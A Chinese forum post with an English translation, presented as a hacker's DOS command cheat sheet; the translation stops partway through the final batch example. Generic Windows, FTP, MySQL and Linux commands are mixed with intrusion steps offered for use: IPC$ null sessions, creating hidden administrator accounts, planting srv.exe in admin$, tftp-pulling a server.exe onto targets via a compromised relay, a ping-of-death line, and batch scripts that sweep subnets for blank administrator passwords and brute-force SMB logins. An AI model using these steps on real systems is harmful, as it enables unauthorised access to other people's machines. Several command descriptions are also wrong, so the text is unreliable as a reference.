『楼 主』:
黑客基础之最全的DOS命令
使用 LLM 解释/回答一下
黑客基础之最全的DOS命令
黑客基础之最全的DOS命令
net use \\ip\ipc$ " " /user:" " 建立IPC空链接
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \\ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy $\svv.exe">\\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续....
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )
print 文件名 打印文本文件
ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况
IIS服务命令:
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
iisreset /start或stop 启动(停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP 命令: (后面有详细说明内容)
ftp的命令行格式为:
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
-d 使用调试方式。
-n 限制ftp的自动登录,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote-dir 进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip
MYSQL 命令:
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格,其它也一样)
exit 退出MYSQL
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
use mysql;
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名;
create table 表名 (字段设定列表); 建表
drop database 库名;
drop table 表名; 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
win2003系统下新增命令(实用部份):
shutdown /参数 关闭或重启本地或远程主机。
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
例:shutdown /r /t 0 立即重启本地主机(无延时)
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。
Linux系统下基本命令: 要区分大小写
uname 显示版本信息(同win2K的 ver)
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录,目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
ftp ftp连接上某服务器(同win2K)
附:批处理命令与变量
1:for命令及变量 基本格式:
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3
(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1}
command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
command_parameters:为特定命令指定参数或命令行开关
IN (set):指在(set)中取值;DO command :指执行command
参数:/L 指用增量形式{(set)为增量形式时};/F 指从文件中不断取值,直到取完为止{(set)为文件时,如(d:\pass.txt)时}。
用法举例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。
/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。
Hacker Basics: The Most Comprehensive DOS Commands
Hacker Basics: The Most Comprehensive DOS Commands
net use \\ip\ipc$ " " /user:" " Establish an IPC empty connection
net use \\ip\ipc$ "password" /user:"username" Establish a non-empty IPC connection
net use h: \\ip\c$ "password" /user:"username" Directly log in and map the other party's C: to local as H:
net use h: \\ip\c$ Log in and map the other party's C: to local as H:
net use \\ip\ipc$ /del Delete IPC connection
net use h: /del Delete the mapping of the other party to the local as H:
net user username password /add Create a user
net user guest /active:yes Activate the guest user
net user View which users there are
net user account name View the properties of the account
net localgroup administrators username /add Add "user" to administrators to give it administrator privileges. Note: Add s to administrator in plural
net start View which services are started
net start service name Start the service; (e.g.: net start telnet, net start schedule)
net stop service name Stop a certain service
net time \\target ip View the other party's time
net time \\target ip /set Synchronize the local computer time with the time of the "target IP" host. Add the parameter /yes to cancel the confirmation message
net view View which shares are enabled in the local LAN
net view \\ip View which shares are enabled in the other party's LAN
net config Display system network settings
net logoff Disconnect the connected share
net pause service name Pause a certain service
net send ip "text information" Send information to the other party
net ver The type and information of the network connection being used in the LAN
net share View the shares enabled locally
net share ipc$ Enable ipc$ share
net share ipc$ /del Delete ipc$ share
net share c$ /del Delete C: share
net user guest 12345 Log in with the guest user and change the password to 12345
net password password Change the system login password
netstat -a View which ports are enabled. Commonly used netstat -an
netstat -n View the network connection situation of ports. Commonly used netstat -an
netstat -v View the work in progress
netstat -p protocol name Example: netstat -p tcq/ip View the usage of a certain protocol (view the usage of the tcp/ip protocol)
netstat -s View the usage of all currently used protocols
nbtstat -A ip If one of the ports from 136 to 139 of the other party is open, you can view the user name that the other party logged in recently (the user name is before 03)-Note: The parameter -A should be capitalized
tracert -parameter ip (or computer name) Trace the route (data packet). Parameter: "-w number" is used to set the timeout interval.
ping ip (or domain name) Send data with a default size of 32 bytes to the other party's host. Parameters: "-l packet size"; "-n number of sends"; "-t" means keep pinging.
ping -t -l 65550 ip Death ping (sending a file larger than 64K and keeping pinging becomes a death ping)
ipconfig (winipcfg) For windows NT and XP (windows 95 98) to view the local ip address. ipconfig can use the parameter "/all" to display all configuration information
tlist -t Display processes in a tree list (it is an additional tool of the system, not installed by default, in the Support/tools folder of the installation directory)
kill -F process name Add the -F parameter to forcibly end a certain process (it is an additional tool of the system, not installed by default, in the Support/tools folder of the installation directory)
del -F file name Add the -F parameter to delete the read-only file. /AR, /AH, /AS, /AA respectively mean deleting read-only, hidden, system, archive files. /A-R, /A-H, /A-S, /A-A mean deleting files other than read-only, hidden, system, archive. For example, "DEL/AR *.*" means deleting all read-only files in the current directory, and "DEL/A-S *.*" means deleting all files in the current directory except system files
del /S /Q directory Or use: rmdir /s /Q directory /S deletes the directory and all subdirectories and files under the directory. At the same time, using the parameter /Q can cancel the system confirmation during the deletion operation and delete directly. (The two commands have the same function)
move drive letter\path\file name to be moved path\file name after moving Move the file. Use the parameter /y to cancel the prompt to confirm that there is the same file in the moving directory and directly overwrite
fc one.txt two.txt > 3st.txt Compare the two files and output the different parts to the 3st.txt file. "> " and "> >" are redirection commands
at id number Start a registered scheduled task
at /delete Stop all scheduled tasks. Use the parameter /yes to stop directly without confirmation
at id number /delete Stop a registered scheduled task
at View all scheduled tasks
at \\ip time program name (or a command) /r Run a certain program of the other party at a certain time and restart the computer
finger username @host View which users have logged in recently
telnet ip port Remotely log in to the server. The default port is 23
open ip Connect to IP (belongs to the command after telnet login)
telnet Type telnet directly on the local machine to enter the local telnet
copy path\file name 1 path\file name 2 /y Copy file 1 to the specified directory as file 2. Use the parameter /y to cancel confirming that you want to rewrite an existing directory file at the same time
copy c:\srv.exe \\ip\admin$ Copy the local c:\srv.exe to the admin of the other party
cppy 1st.jpg/b+2st.txt/a 3st.jpg Hide the content of 2st.txt in 1st.jpg to generate a new file 3st.jpg. Note: The first three rows of the 2st.txt file should be empty. Parameters: /b means binary file, /a means ASCLL format file
copy $\svv.exe">\\ip\admin$\svv.exe c:\ Or: copy\\ip\admin$\*.* Copy the srv.exe file (all files) under the other party's admini$ share to the local C:
xcopy file or directory tree to be copied target address\directory name Copy files and directory trees. Use the parameter /Y to not prompt to overwrite the same file
tftp -i my IP (use the meat machine as a springboard, use the meat machine IP here) get server.exe c:\server.exe After logging in, download the server.exe of "IP" to the target host c:\server.exe. Parameter: -i means transfer in binary mode, such as when transferring an exe file. If -i is not added, transfer in ASCII mode (text file mode)
tftp -i other party's IP put c:\server.exe After logging in, upload the local c:\server.exe to the host
ftp ip port For uploading files to the server or performing file operations. The default port is 21. bin means transfer in binary mode (for executable files); the default is transfer in ASCII format (for text files)
route print Display the IP route. It will mainly display the network address Network addres, subnet mask Netmask, gateway address Gateway addres, interface address Interface
arp View and process the ARP cache. ARP means address resolution, which is responsible for resolving an IP into a physical MAC address. arp -a will display all information
start program name or command /max or /min Open a new window and run a certain program or command in maximize (minimize)
mem View cpu usage
attrib file name (directory name) View the attributes of a certain file (directory)
attrib file name -A -R -S -H or +A +R +S +H Remove (add) the archive, read-only, system, hidden attributes of a certain file; use + to add a certain attribute
dir View files. Parameters: /Q displays which user of the system the file and directory belong to, /T:C displays the file creation time, /T:A displays the last access time of the file, /T:W displays the last modification time
date /t, time /t Use this parameter, that is, "DATE/T", "TIME/T" will only display the current date and time, and there is no need to enter a new date and time
set specified environment variable name=character to be assigned to the variable Set environment variable
set Display all current environment variables
set p (or other characters) Display all environment variables starting with the character p (or other characters)
pause Pause the batch processing program and display: Press any key to continue....
if Execute conditional processing in the batch processing program (for more instructions, see if command and variables)
goto label Direct cmd.exe to the line with the label in the batch processing program (the label must be on a separate line and start with a colon, for example: ":start" label)
call path\batch processing file name Call another batch processing program from the batch processing program (for more instructions, see call /?)
for Execute a specific command for each file in a group of files (for more instructions, see for command and variables)
echo on or off Turn on or off echo. Just use echo without parameters to display the current echo setting
echo information Display information on the screen
echo information >> pass.txt Save "information" to the pass.txt file
findstr "Hello" aa.txt Find the string hello in the aa.txt file
find file name Find a certain file
title title name Change the title name of the CMD window
color color value Set the foreground and background colors of the cmd console; 0=black, 1=blue, 2=green, 3=light green, 4=red, 5=purple, 6=yellow, 7=white, 8=gray, 9=light blue, A=light green, B=light light green, C=light red, D=light purple, E=light yellow, F=bright white
prompt name Change the command prompt displayed by cmd.exe (change C:\, D:\ to: EntSky\ uniformly)
print file name Print the text file
ver Display version information under the DOS window
winver Pop up a window to display version information (memory size, system version, patch version, computer name)
format drive letter /FS: type Format the disk. Type: FAT, FAT32, NTFS. Example: Format D: /FS:NTFS
md directory name Create directory
replace source file directory to replace the file Replace the file
ren original file name new file name Rename the file name
tree Display the directory in a tree structure. Use the parameter -f to list the file names in each folder
type file name Display the content of the text file
more file name Display the output file page by page
doskey command to be locked=character
doskey command to be unlocked= Provide the locked command (edit command line, re-call win2k command, and create macro) for DOS. For example: Lock the dir command: doskey dir=entsky (cannot use doskey dir=dir); Unlock: doskey dir=
taskmgr Bring up the task manager
chkdsk /F D: Check disk D and display the status report; add parameter /f and repair errors on the disk
tlntadmn telnt service admn. Type tlntadmn, select 3, then select 8, you can change the default port 23 of the telnet service to any other port
exit Exit the cmd.exe program or currently. Use parameter /B to exit the current batch script instead of cmd.exe
path path\file name of executable file Set a path for the executable file.
cmd Start a win2K command interpretation window. Parameters: /eff, /en close, enable command extension; for more detailed instructions, see cmd /?
regedit /s registry file name Import the registry; parameter /S means import in silent mode without any prompts;
regedit /e registry file name Export the registry
cacls file name parameter Display or modify the file access control list (ACL)-for NTFS format. Parameters: /D username: set to deny a certain user access; /P username:perm replace the access rights of the specified user; /G username:perm give the specified user access rights; Perm can be: N none, R read, W write, C change (write), F full control; Example: cacls D:\test.txt /D pub set d:\test.txt to deny pub user access.
cacls file name View the list of access user permissions of the file
REM text content Add comments in the batch processing file
netsh View or change the local network configuration
IIS service commands:
iisreset /reboot Restart the win2k computer (but there will be a prompt that the system will restart)
iisreset /start or stop Start (stop) all Internet services
iisreset /restart Stop and then restart all Internet services
iisreset /status Display the status of all Internet services
iisreset /enable or disable Enable (disable) the restart of Internet services on the local system
iisreset /rebootonerror When starting, stopping or restarting Internet services, if an error occurs, the computer will restart
iisreset /noforce If the Internet service cannot be stopped, it will not forcibly terminate the Internet service
iisreset /timeout Val When the timeout (seconds) is reached, the Internet service is still not stopped. If the /rebootonerror parameter is specified, the computer will restart. The default value is 20 seconds for restart, 60 seconds for stop, and 0 seconds for restart.
FTP commands: (There is detailed explanation content later)
The command line format of ftp is:
ftp -v -d -i -n -g -v Display all response information of the remote server.
-d Use the debugging method.
-n Restrict the automatic login of ftp, that is, do not use the.netrc file.
-g Cancel the global file name.
help or? View command instructions
bye or quit Terminate the host FTP process and exit the FTP management mode.
pwd List the current remote host directory
put or send local file name Transfer a local file to the remote host
get or recv Transfer from the remote host to the local host
mget Receive a batch of files from the remote host to the local host
mput local-files Transfer a batch of files from the local host to the remote host
dir or ls List the files in the current remote host directory. If there is a local file, write the result to the local file
ascii Set to transfer files in ASCII mode (default value)
bin or image Set to transfer files in binary mode
bell Prompt for alarm every time a file transfer is completed
cdup Return to the previous level directory
close Interrupt the ftp session with the remote server (corresponding to open)
open host Establish a connection to the specified ftp server, and can specify the connection port
delete Delete the file in the remote host
mdelete Delete a batch of files
mkdir directory-name Create a directory in the remote host
rename Change the file name in the remote host
rmdir directory-name Delete the directory in the remote host
status Display the current FTP status
system Display the remote host system type
user user-name Log in to the remote host with another user name again
open host Re-establish a new connection
prompt Interactive prompt mode
macdef Define macro commands
lcd Change the working directory of the current local host. If it is default, it will go to the current user's HOME directory
chmod Change the file permissions of the remote host
case When ON, when using the MGET command to copy the file name to the local machine, all are converted to lowercase letters
cd remote-dir Enter the remote host directory
cdup Enter the parent directory of the remote host directory
! Execute the interactive shell on the local machine, exit back to the ftp environment, such as!ls*.zip
MYSQL commands:
mysql -h host address -u username -p password Connect to MYSQL; if MYSQL is just installed, the super user root has no password.
(Example: mysql -h110.110.110.110 -Uroot -P123456
Note: u and root can be used without spaces, and the same for others)
exit Exit MYSQL
mysqladmin -u username -p old password password new password Change password
grant select on database.* to username@login host identified by \"password\"; Add a new user. (Note: Different from above, the following is a command in the MYSQL environment, so there is a semicolon at the end as the command end symbol)
show databases; Display the database list. At the beginning, there are only two databases: mysql and test. The mysql library is very important. It contains the system information of MYSQL. We change the password and add new users, in fact, we operate with this library.
use mysql;
show tables; Display the data tables in the library
describe table name; Display the structure of the data table
create database database name; Create a database
use database name;
create table table name (field setting list); Create a table
drop database database name;
drop table table name; Delete the database and the table
delete from table name; Clear the records in the table
select * from table name; Display the records in the table
mysqldump --opt school>school.bbb Backup the database: (execute the command in the \\mysql\\bin directory of DOS); Note: Backup the database school to the school.bbb file. school.bbb is a text file. Take any name. Open it and you will find new discoveries.
New commands in win2003 system (practical part):
shutdown /parameter Turn off or restart the local or remote host.
Parameter description: /S turn off the host, /R restart the host, /T number Set the delay time, range from 0 to 180 seconds, /A cancel the boot, /M //IP specify the remote host.
Example: shutdown /r /t 0 Restart the local host immediately (no delay)
taskill /parameter process name or process pid Terminate one or more tasks and processes.
Parameter description: /PID pid of the process to be terminated. You can use the tasklist command to obtain the pid of each process. /IM process name of the process to be terminated. /F forcibly terminate the process. /T terminate the specified process and the child processes it starts.
tasklist Display the processes, services, and process identifiers (PID) of each process running on the local and remote host currently.
Parameter description: /M list the dll files loaded by the current process, /SVC display the service corresponding to each process. Without parameters, it only lists the current process.
Basic commands under Linux system: Case-sensitive is required
uname Display version information (same as ver of win2K)
dir Display current directory files, ls -al display hidden files (same as dir of win2K)
pwd Query the current directory location
cd cd.. Go back to the previous level directory. Note that there is a space between cd and.. cd / return to the root directory.
cat file name View file content
cat >abc.txt Write content to the abc.txt file.
more file name Display a text file page by page.
cp Copy file
mv Move file
rm file name Delete file, rm -a directory name delete directory and subdirectories
mkdir directory name Create directory
rmdir Delete subdirectory, no documents in the directory.
chmod Set the access permissions of the file or directory
grep Find strings in the file
diff Compare file files
find File search
date Current date and time
who Query the people who are using the same machine as you and the Login time and place
w Query the detailed information of the people who are online currently
whoami View your own account name
groups View someone's Group
passwd Change password
history View the commands you have entered
ps Display process status
kill Stop a certain process
gcc Hackers usually use it to compile files written in C language
su Convert permissions to the specified user
telnet IP telnet connect to the other party's host (same as win2K). When bash$ appears, it means the connection is successful.
ftp ftp connect to a certain server (same as win2K)
Appendix: Batch processing commands and variables
1: for command and variable Basic format:
FOR /parameter %variable IN (set) DO command %variable: specify a single letter replaceable parameter, such as: %i, and specify a variable to use: %%i, and call the variable to use: %i%, the variable is case-sensitive (%i is not equal to %I).
Batch processing can process variables from %0—%9 each time, a total of 10. Among them, %0 is default for the batch processing file name, %1 is default for the first value input when using this batch processing, and similarly: %2—%9 refer to the 2nd-9th values input; example: net use \\ip\ipc$ pass /user:user In, ip is %1, pass is %2, user is %3
(set): Specify one or a group of files, and wildcards can be used, such as: (D:\user.txt) and (1 1 254)(1 -1 254), {"(1 1 254)" the first "1" refers to the starting value, the second "1" refers to the growth amount, the third "254" refers to the end value, that is: from 1 to 254; "(1 -1 254)" means: from 254 to 1}
command: Specify the command to be executed for each file, such as: net use command; if you want to execute multiple commands, separate the commands with: &
command_parameters: Specify parameters or command line switches for specific commands
IN (set): Refers to taking values in (set); DO command: Refers to executing command
Parameter: /L refers to using the incremental form {(set) is in incremental form}; /F refers to continuously taking values from the file until it is taken completely {(set) is a file, such as (d:\pass.txt) when}
Usage example:
@echo off
echo Usage format: test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "The command completed successfully" >>test.txt
Save as test.bat Description: Try to establish an IPC$ connection with an empty password for administrator for each of the 254 IPs of the specified C class network segment in turn. If it is successful, store the IP in test.txt.
/L refers to using the incremental form (that is, from 1-254 or 254-1); the first three digits of the input IP: *.*.* are the batch processing default %1; %%G is the variable (the last digit of the ip); & is used to separate the two commands echo and net use; | means that after establishing ipc$, use find to check whether there is the information "The command completed successfully" in the result; %1.%%G is the complete IP address; (1 1 254) refers to the starting value, growth amount, and end value.
@echo off
echo Usage format: ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
